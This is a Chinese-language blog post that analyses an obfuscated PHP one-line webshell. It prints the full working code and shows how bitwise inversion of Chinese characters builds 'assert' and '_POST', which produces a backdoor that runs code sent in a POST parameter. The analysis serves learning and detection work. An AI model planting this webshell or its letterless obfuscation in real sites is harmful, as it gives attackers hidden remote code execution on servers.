头图:https://cdn.naraku.cn/imgs/PHP-Shell.jpg
摘要:最近看到师兄分享了一个PHP一句话,感觉思路挺骚的,拿出来分析一下。
一句话
代码中的下划线
_不便浏览,建议保存到本地用Sublime Text 3或Notepad++打开。代码如下:<?php$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]); //2=phpinfo();
核心思路
这个WebShell的核心思路是将非字母、数字的字符经过各种变换,从而构造出
assert函数,且利用了PHP允许动态函数执行的特点。需要注意的是,assert在PHP5中可以动态执行,而在PHP7中assert不再是函数,而变成了一个语言结构,因此不能再作为函数名动态地去执行代码。而这里的WebShell经过各种变换后构造出的是assert函数,因此只能在PHP5的环境下运行,故PHP7环境需构造成其它函数执行。分析
$__和$_前面的2个变量
$__和$_比较简单。从代码可以看到,其实就是一个大于号>和一个小于号<的比较,大于号的ASCII十进制是62,小于号是60,自然这里>大于<是成立的,返回true。由于PHP弱类型这个特性,true的值为1,所以$__=1+1=2,也可以得知$_=2/2=1$__=('>'>'<')+('>'>'<');$_=$__/$__;
$____和$_____接下来定义两个字符串
$____和$___,且可以从代码上看出,后面其实就是修改$___,经过一定处理后拼接到$____的后面,所以这里把其中一部分提取出来分析即可$____='';$___="瞰";$____.=~($___{$_});
简化一下
// $____.=~($___{$_});$____. = ~("瞰"{1});
其中
{}的作用是取字符串变量中的一个字节。UTF-8中1个中文字符占3个字节。这里将瞰转换为二进制是11100111 10011110 10110000
因此可知,
"瞰"{1}即取第1位字节(从0开始),即10011110,然后通过~按位取反,即得01100001,转换为十六进制即为61,对应的字符为a- 后面的
$_____也是相同方法,最终得到
参考:一些不包含数字和字母的webshell$____ = assert;$_____ = _POST;// $____($_[$__]); //2=phpinfo();assert($_POST[2]);
